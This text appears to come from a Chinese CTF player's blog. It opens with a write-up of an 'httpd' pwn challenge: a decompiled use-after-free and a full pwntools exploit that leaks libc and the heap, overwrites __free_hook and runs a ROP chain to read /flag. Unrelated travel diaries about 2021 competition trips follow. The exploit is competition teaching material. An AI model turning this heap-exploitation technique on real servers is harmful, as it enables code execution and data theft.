std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::compare() == 0; if ( v5 != &v7 ) operator delete(v5); if ( __readfsqword(0x28u) != v8 ) LABEL_9: std::__throw_logic_error("basic_string::_M_construct null not valid"); return v2; } 这里 ida 抽风了,compare 的两个参数分别是 &v5 和 “CHECK”。也就是一个长度为 0x10 的字符串和一个长度为 5 的 const char * 比较,这 tmd 不可能返回 0 啊我寻思。 然后我寻思本地 debug 一下看怎么绕过。把请求头写好直接 send 返回错误,焯。 到比赛结束也没弄好,寄。 某位带师傅试了试加上 \r\n,本地不报错了。开始本地调试。 题解 此处摘取重要信息。 add函数: unsigned __int64 __fastcall httpd::work::work::client_add_data(httpd::work::work *this){ ... idx = strtol(*(v14 + 64), 0LL, '\n'); if ( v54 != &s1 ) operator delete(v54); if ( idx > 0xFF ) { ... } v22 = v3 + 16 * idx; if ( *(v22 + 328) > 0 ) { ... } *(v22 + 0x148) = size; if ( size > 0x400 ) { ... } chunk = operator new[](size); *(v22 + 0x140) = chunk; size_1 = v44; if ( size < v44 ) size_1 = size; memcpy(chunk, **(v3 + 2), size_1); if ( !httpd::work::work::client_check_is_none(v3) ) { ... } } 在 httpd::work::work::client_check_is_none(v3) 之前已经通过 memcpy 将 POST 的信息保存下来了。因此 client_check_is_none 报不报错无所谓。之所以前面没有 get 到信息,是因为…没用 socket。 unsigned __int64 __usercall httpd::work::work::client_delete_data@<rax>(httpd::work::work *this@<rdi>, __int64 a2@<rbx>, __int64 a3@<rbp>, __int64 a4@<r12>, __int64 a5@<r13>, __int64 a6@<r14>, __int64 a7@<r15>){ ... if ( *(v18 + 328) ) //size { v19 = *(v18 + 320); if ( v19 ) operator delete[](v19); v33 = &s1; s1 = ':"edoc"{'; *(v18 + 328) = 0;//size v20 = *(v9 + 9) == 0LL; v36 = 'urt"'; v37 = '"e'; v38 = '}'; } ... } 结合这个函数,漏洞很明显,size 在 报错之前被写入了,而 free 只清除了 size 位置。因此是一个裸的 UAF。这就好办了,直接 UAF 打 __free_hook,然后绕沙箱就完事了。 有了上面的分析,相信大家闭着眼都能把 exp 写出来了吧。 exp 附上,非最差解。 from pwn import * # r = process(["./httpd"]) # r = process(["./httpd"],env={"LD_PRELOAD":"./libc.so.6"}) # context.log_level = 'debug' libc = ELF("./libc.so.6") def add(index,size,con): r.send("""POST /?req=add&index=%d&size=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\nContent-Length: %d\r\n\r\n%s"""%(index,size,len(con),con)) sleep(0.1) def get(index): r.send("GET /?req=get&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index)) sleep(0.1) def delete(index): r.send("GET /?req=del&index=%d HTTP/1.1\r\nHost: node4.buuoj.cn:29026\r\nCache-Control: max-age=0\r\nUpgrade-Insecure-Requests: 1\r\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.124 Safari/537.36\r\nAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9\r\nAccept-Encoding: gzip, deflate\r\nAccept-Language: zh-CN,zh;q=0.9\r\nConnection: close\r\n\r\n"%(index)) sleep(0.1) r = remote("node4.buuoj.cn",29026) for i in range(7): add(i,0x400,'nmslnmslnmslnmsl') add(7,0x400,'wsnd') add(8,0x40,'wsndwsndwsndwsnd') add(9,0x40,'wsndwsndwsndwsnd') delete(0) delete(1) delete(2) delete(3) delete(4) delete(5) delete(6) delete(7) add(7,0x800,'wsnd') r.recv() get(7) libc_base = u64(r.recvuntil("\x7f")[-6:].ljust(8,'\x00'))-0x1ebbe0 success("libc_base = "+hex(libc_base)) gadget=libc_base+0x0000000000154930 success("gadget = "+hex(gadget)) rdi = libc_base+0x0000000000026b72 rsi = libc_base+0x0000000000027529 rdx2 = libc_base+0x0000000000162866 open_ = libc_base+libc.sym['open'] read = libc_base+libc.sym['read'] puts = libc_base+libc.sym['puts'] gadget2 = libc_base+0x000000000005e650 rop = p64(rdi)+p64(libc_base+libc.sym['__free_hook']+0x10)+p64(rsi)+p64(0)+p64(open_) rop += p64(rdi)+p64(3)+p64(rsi)+p64(libc_base+libc.bss())+p64(rdx2)+p64(0x40)+p64(0)+p64(read) rop += p64(rdi)+p64(libc_base+libc.bss())+p64(puts) info(hex(len(rop))) payload = p64(rdx2)+p64(0)+p64(0)+p64(rdi)+p64(gadget2)+rop delete(8) delete(9) add(9,0x800,'leak') for i in range(7): add(i+40,0x58,'nmsl') add(10,0x58,'nmsl') add(11,0x58,'nmsl') for i in range(7): delete(i+40) add(15,0x3e0,payload) add(16,0x3e0,payload) add(17,0x3e0,payload) delete(17) delete(16) delete(15) r.recv() add(15,0x800,'nmsl') r.recv() get(15) context.log_level='debug' heap_base = u64(r.recvuntil('\x55')[-6:].ljust(8,'\x00')) success("heap_base = "+hex(heap_base)) add(16,0x3e0,payload) add(17,0x3e0,payload) add(18,0x3e0,payload) add(19,0x3e0,payload) delete(10) delete(11) add(10,0x800,'double free') delete(10) for i in range(7): add(i+60,0x58,'nmsl') add(11,0x58,p64(libc_base+libc.sym['__free_hook'])) add(12,0x58,p64(libc_base+libc.sym['__free_hook'])) add(13,0x58,p64(libc_base+libc.sym['__free_hook'])) add(14,0x58,p64(gadget)+p64(heap_base)+'/flag\x00') r.interactive() 内容有粗鄙之语,习惯,多包涵。 gadget 利用分析请转本博客 bytectf2020 复现。 有个小坑,我本地和远程的堆布局不一样…索性直接申请好几个大堆块泄露了再把 rop 写进去,完事。 此方法非最差解。setcontext 亦可解之。 躺赢 携手抗疫,共度难关!

2021/11/9
articleCard.readMore

旅游合集 2021上半年版

写着写着,也不知到从哪里写起了…… 只记得大约一年之前,几个人匆匆忙忙地打了一场比赛,擦着边来到了刚刚经历过新冠疫情折磨的武汉市。蒙杯地盯了宕机的平台一下午,稀里糊涂地拿了个三等奖,屁颠屁颠地回了山东。 吃的第一顿晚饭是楼底下的火锅。说是火锅,不如说是“底下加了热可以往里面加东西的锅”。那里的蘸酱糊嘴,一尝就是没调过;那里的肉很少,不够我们吃的。 但是那一夜,夜店和夜彳亍悄然在我们的圈子里开始了蔓延。 后来我们去了很多地方,打了很多场比赛。最原始的快乐依然没有消失。 3月底──三亚 纵横杯,三亚旅游。想想都刺激。但是撞了考试周。 好好的一次旅游机会,怎么就没了呢。艹! 后来推迟了!!! 但是队伍里没我!艹! 岂可小! 但是加了一个赛道,RHG 赛道,可以报名! 这可给我乐坏了,马上火急火燎请了假屁颠屁颠上了飞机来了三亚。 兴奋 不得不说,三亚的景观满足了我对南国风光的幻想。遍地的绿,漫天的蓝,以及让人沸腾的热… 以及豪华版酒店。 酒店阳台 我本来就很喜欢夏天这种感觉,到了三亚就好比一个孩子进了一个属于自己的玩具国家一样。走在这里的土地上,没有一丝身处外乡的疲惫感,有点乐不思蜀的感觉hhh 以及一些大都市的感觉? 说实话,这免税店属实有点大了。一晚上走了没三分之一,但是已经累得直接蹲地上了。 第一顿我们吃的是这个🥥🐓️ emmm,怎么说呢。我可以理解椰子的味道,也可以理解🐓️肉的味道,但是这两种味道组合到一起就产生了一种奇怪的化学反应。明明你的潜意识告诉你,鸡肉,就是炖得很烂熟味道有点偏咸的。但是🥥🐓️送到嘴里之后,就如同味蕾狠狠抽了大脑皮层一个嘴巴子。可能这种口味对于我来说实在是太勉强了。 最后这顿饭喜提人均不足 3 分的“高”分。 白给 第二天去测试 RHG。 就是日常的把机器人挂到服务器上,配好环境,然后让机器人后台挂着就完事了。 前提是把漏洞利用给搞好。这好办,把样例都测测试试就完事了呗。 样例,全是静态链接去符号的。对着这些题目写思路,为了以防万一还想了两种思路。 挂一个进程,用来请求心跳包。 检查了两遍,就等第二天了。 第二天挂上去之后就是等,等,等。 榜上没心跳的都得分了,对他们来说心不心跳无所谓了。榜上好多有心跳的从来就没得过分,对他们来说心不心跳无所谓了。👴们属于后者。 后来发现 AFL 核数开大了,fuzz 就没起来。痛失1w。 海滩夜彳亍 门口有只兔子,已经睡了。 隔壁酒店是临海的。所以👴们就顺着酒店的小路去了隔壁。走过了一条幽暗幽暗的林荫小路,走到了一个有一丝脏兮兮又软软的沙滩上。海滩上有散落一地的海草、缠成一团的海草、卷在一块木头上的海草……当然还有这么大的水母。 不知不觉地沿着海岸线走啊走,走啊走,穿过几个酒店,走到每个人都累了,乏了,便往回赶。 从沙滩往上走,竟望见一个小游泳池。二话不说,当机就脱下衣服跳到水里面去。由于没带泳镜,而且不太会游泳,我只能在水中蹬几下腿稍微玩一下。刚刚喜提贵室和 “宋江” 称号的柯神当场进行嘲讽,直接化身浪里白条秀了👴们一脸…… 穿着湿衣服,我们开始往回赶。 问题来了,怎么回去?不知道谁提出一个方案,顺着小路,往回穿过一条路就行了。但是走着走着,我们愈发觉得不对劲。当我们快要跨越地图上那条线的时候,前面出现了,一面墙…… 我以我敏锐的嗅觉,提出原路返回。于是我们准备穿过隔壁酒店大堂回到沙滩然后原路返回。 路过大堂,驻足片刻,几人站台阶前。不久,阿呆径直向前面小水槽里迈出震撼的一步。我们此刻都是湿的了。 继续穿过富丽堂皇的酒店花园,穿过酒店的附属大厅,穿过漫长的房间走廊。终于找到通向酒店幽暗幽暗的林荫小路,回到了自己的酒店。 回来,兔子已经醒了。 归来 与三亚的炎热相反的,家乡的 sakura 已经开了。 5 月底──上海、嘉兴 XCTF final,怎么说也是一个国际 CTF 重大赛事。作为一个能够进入 XCTF final 的队伍的 pwn 手,我有幸到现场进行参赛。 出发 同行的还有 叆叇 和币哥。👴们三个商量好机票,匆匆忙忙上了飞机,来到了这一个魔幻般的城市,上海。 还没有走出机场,就感觉到了大城市的气息。 深圳机场就已经给我了一种大城市的感受,但是浦东机场更给我一种巨无霸的感觉。走在传送带上,我们悠闲地呼吸着大城市的气息。我兴奋地拍来拍去,直到我身后响起了一句 “Excuse me” …… 吃喝玩乐 乘地铁,去酒店。出地铁口而大惊乎。商舍富丽堂皇,盛世之相。 地铁口的华为 到酒店之后,感觉性价比低到了一种境界。在选择了好几个酒店无果之后,我们决定去寻求 y 老师的帮助。 当然,在这之前,必然是要先吃喝玩乐🌶️ 正宗垃圾分类 主机店 饭后 币哥 和 aidai👴 一致给出好评。 网红打卡地那肯定不能不去。 👴👴👴 我是来自中国海洋大学的 surager,我在上海市人民英雄纪念塔学习党史,打卡红色地标。 玩完直接地铁到华东师范大学,见到 y老师 先整了个🔥️。 aidai:我是 vn pwn 手 我们在 y老师 的指引下到了酒店,洗了洗死猪都受不了的热水,然后睡死过去。 第二天 今天 ha 跟 y 会合,之后我们几个一起🚄去嘉兴报道。 中午大家🔥️会合,一起搓一顿。(光顾着吃了没怎么拍 晚上又跟着 wm 的人蹭了一顿。(省去照片 白给 第二天,跟着大巴车到了带专·嘉兴职业技术学院,进行 XCTF final 的线下对决。 开头几个小时几乎没什么大动静。house of pig 迟迟没能解出,只能等新题。👴一看上新了,直接看新题。 hardstack 看起来好像挺简单,直接做。做到一半感觉地址根本没法泄露。不能去打 __free_hook。👴一看做到一半了其他题又做不出了,一怒之下把 __malloc_hook 改成了 myprint 函数。add 直接 size 传地址进去。光速拿到二血。 之后开始日 house of pig。🐏️掉 global_max_fast,直接去打 __malloc_hook,无果。尝试写 IO_FILE,无果。尝试对 exit_hook 进行攻击,进行栈迁移,无果。 其他题目也一一无果。队友疯狂输出,就我在拉胯。 house of pig 这道题直接把此次参赛体验拉到 ylb 以下。 熬了一整夜,熬得精神恍惚,喷了好几次。 最后拿了个二等奖收尾。wtcl 当时👴看到👴坐在椅子上泣不成声,那时👴救在想,如果👴能成为职业选手,👴一定要赢下一切。如今机会就在眼前,👴需要考虑这是不是👴此生唯一的机会。👴承认 CTF 能有今天,👴毫无功劳。重铸 CTF 荣光,关👴啥事。 回到酒店,往床上一趟,沾枕就着…… 直到到过了很久,很久。 很久。 很久。 …… 好几声电话响起,”赶紧打车去高铁站”。赶着通往上海的火车,坐上飞机,回到了家。 六月──合肥 又开始一年一度的国赛了。初赛当了一次华东北之👴的我们这次能否守住华东北之👴呢。今年有了 🎩️🎩️ 的加入,👴们的实力有了比较不错的提升。 听说👴们要住的 中国书法大厦 是个 ⭐️️⭐️️⭐️️⭐️️⭐️️ 级酒店,而且还有 🏊🏻‍♀️池,这不得约一波泳池相遇,尽享美味。 依然是出发 高铁,从上午 8 点左右坐到下午 4 点多。车上总得干点啥事吧。因为考试就在下一周,我们已经经历过集体破防。在那个 喝着热风冰,吃着泸溪河 的日子里,👴们唯一能做的就是抓紧时间复习。我直接火车上打开 现代密码学 PPT 看了起来。 旁边的 aidai👴还时不时地嘲讽我几句,”你居然在这张 ppt 上停留了 10 几秒”。 复习了一路,终于到了合肥。 无照片纯净版(忘了拍 第一天夜里,当然要先干一顿饭。一行人跟着导航仪(我)在周围寻了几家夜店,痛痛快快吃了一顿。 比赛当天,那是相当的快乐。 首先是 web 的攻势。大约两轮之内吧,已经有其他队的师傅成功把 web 给🌞️了。👴们丝毫不慌,慢慢悠悠找出白给洞,跟随大部队开始打全场。 aidai👴 连靶机看了一眼流量,发现几乎是实时的,乐得鼠标都给扔了,大步流星去拿茶歇区一血。 等了大约一个半小时,隔壁山科把 pwn 给一血了。由于流量几乎是即时的,👴们直接感谢老铁送的大🚀️。直接上 timekeeper 的车。开始垂直上分。一度在前三之间徘徊。 之后 12 点左右把新题上了,所有题目全部放出。 有一道堆题的一血出了,我直接拖流量进行重放。但是尝试几次发现成功概率极低,原因不明。那好吧,直接对着流量写脚本。完全把脚本重新写一遍之后,成功上车。开始跟一血队伍平分分数。赛后问了山科,他们说这个流量怎么也打不通,原因依然不明。 陆陆续续,所有的 web 和 pwn 都被各队的师傅们一血。但是👴们打这个比赛,pwn 题 F5 都不用按,轻松全解。 大约还有 3 小时结束时,web 那边发现了新天地,他们可以上别人后台然后把站给🐏️了,这样 check 过不了,会被直接 down 掉。由于我不会 web,另外三个队友直接 all in,三个人开始快乐地🐏️人。以至于第二个 web 题被别人🐏️了数据库时,主办方还是怀疑我们队给🐏️的。 最后的一个小时左右,分数增减趋势趋于稳定,算到本队大约在第三名。于是我的 macbook 不乐意了,直接把所有进程给未响应。我花了半天终于点到了左上角的重启按钮上。重启之后👴又傻了,电脑跟不重启之前是一样的。打开一个进程需要好几分钟,连虚拟机都差点开不开。就这么持续了很长时间,才勉强把虚拟机给启动起来,很难受。 最后拿了个第三名,不是华东北之👴,也不是华东北之👨。 大伏笔 晚上吃饭,二队走得比较早,先吃完走了,我们在后面,慢慢吃。宋江吃完去问了问游泳池,说游一次泳还要 60 元左右,另外一套泳具还要 100 元左右。由于实在是划不来,👴们只能选择错过。 第二天问一下,用房卡能免费进游泳池,我@#$%^&*。带伏笔。 临走之前的臭鳜鱼,虽然是臭的,但是不好吃。👴们光速吃完赶火车了。 七月──哈尔滨 这一年南方跑了好几趟,终于来一次北方了。 年代感 不得不说,这个城市是真的有年代感。我原以为青岛就算是个古老的现代城市了,谁知道哈尔滨的气息更是古老。他的建筑风格,他的街道,他的酒店……一切都跟即将迎来千禧年的那个时代一样。 来到这个城市,第一件事就是去哈工大报道 结果: 我和 🎩️🎩️ 先到了哈尔滨,就先吃了一点点东西,随便嗦了两口面。到晚上 aidai 来的时候,就又饿了起来。 于是出去找吃的。发现周围的夜店都准备打烊了。找了一圈,最后的目光只能落到了一家海底捞。正好👴们带着学生证,直接蹭一波学生优惠。隔壁一桌好像也是蹭优惠的。 这次的胃口不如以前足,海底捞的特色海带(也可能是海草)只被我吃了三盘左右,肉倒是吃的多点。 吃得差不多了,也到深夜了。定睛一看,工作人员在准备生日祝福。之后走到隔壁桌去给寿星庆祝生日。👴们有幸获得 vip 听生日歌的位置。 战斗 回到酒店,b哥 和 aidai 抓紧进行可信计算的学习。没曾想,第二天就用到了。 第二天awd 的流量确认延时一个小时,不能光速上车,只能忍几轮。 开局还是 web 白给漏洞,立刻打全场。有师傅也是很快就出了 pwn 一血。我看到 pwn 一血,立马开始找白给洞。盯着 md5 看了半天,以为是一个弱密码,拿上网机查了一会儿,无果。后来看到 strlen 和 strcpy 一起用,考虑有溢出。覆盖待比较的 md5,爆破一个开头是 \x00 的 md5,通过。直接拿 flag。 鸿蒙题一直没有找到利用方法,只能等流量。等大约 12 点,有人出了鸿蒙一血。直接开始计时看流量。一个小时之后根据流量打通了鸿蒙这一题,结果 flagserver 请求一直失败。又被一血队上了一波分。后来知道是有个队搅💩️,主办方修了半天终于把 flagserver 修好了。 b哥那边默默地把上的三道可信计算对着昨晚的程序看了看,全出了,简单。 一道加了花指令的 Pwn,全场一直无解。后面 hint 里面给了去花的版本,整数溢出加栈溢出,简单,直接梭掉上分。成绩一度向第一逼近。第一天快乐的 awd 就这样过去了。 第二天 aidai 开头秒一个 pwn。然后战斗就结束了……web 那边一直打不出来,我 ida 崩了,pwn 的逆向工作还不太好做。就这么等到了 fix 环节,好家伙,直接爆 0 分。找官方查了一下,check 没过也有,过了被打通的也有。 最后排名第五,可惜。如果👴们没有见过光明,本可以忍受黑暗。 又中了又中了 第五就第五吧,华为请吃饭,饭得吃啊。 宴会地点是在学校食堂的顶楼。菜品基本偏东北特色,家常菜,比较接地气也吃得舒服。饭得吃但奖也得抽啊。在不中奖概率比中奖概率高的抽奖中,总不能不中吧,总不能不中吧。 等了一轮,没我。 等了一轮,没我。 等了一轮,没我。 等了一轮,没我。 这三等奖和二等奖都发完了。总不能 1/11 中了吧。 等了一个,没我。 等了一个,没我。 等了一个,没我。 等了一个,没…没…卧槽是我!👴中了! 一等奖可是价值 2188 元的 HUAWEI WATCH GT 2 Pro,超级🐂️逼的运动手表。 我宣布,安卓是鸿蒙的套壳系统。 未完 写到这,你关注的👴👴我终于更新了。上半年把南北全跑了一遍,写得有点多有点流水帐。不过写下来给自己一点回忆总是好的。 下一站又是什么比赛,下一个目的地是阿姆斯特丹还是长春呢……

2021/9/9
articleCard.readMore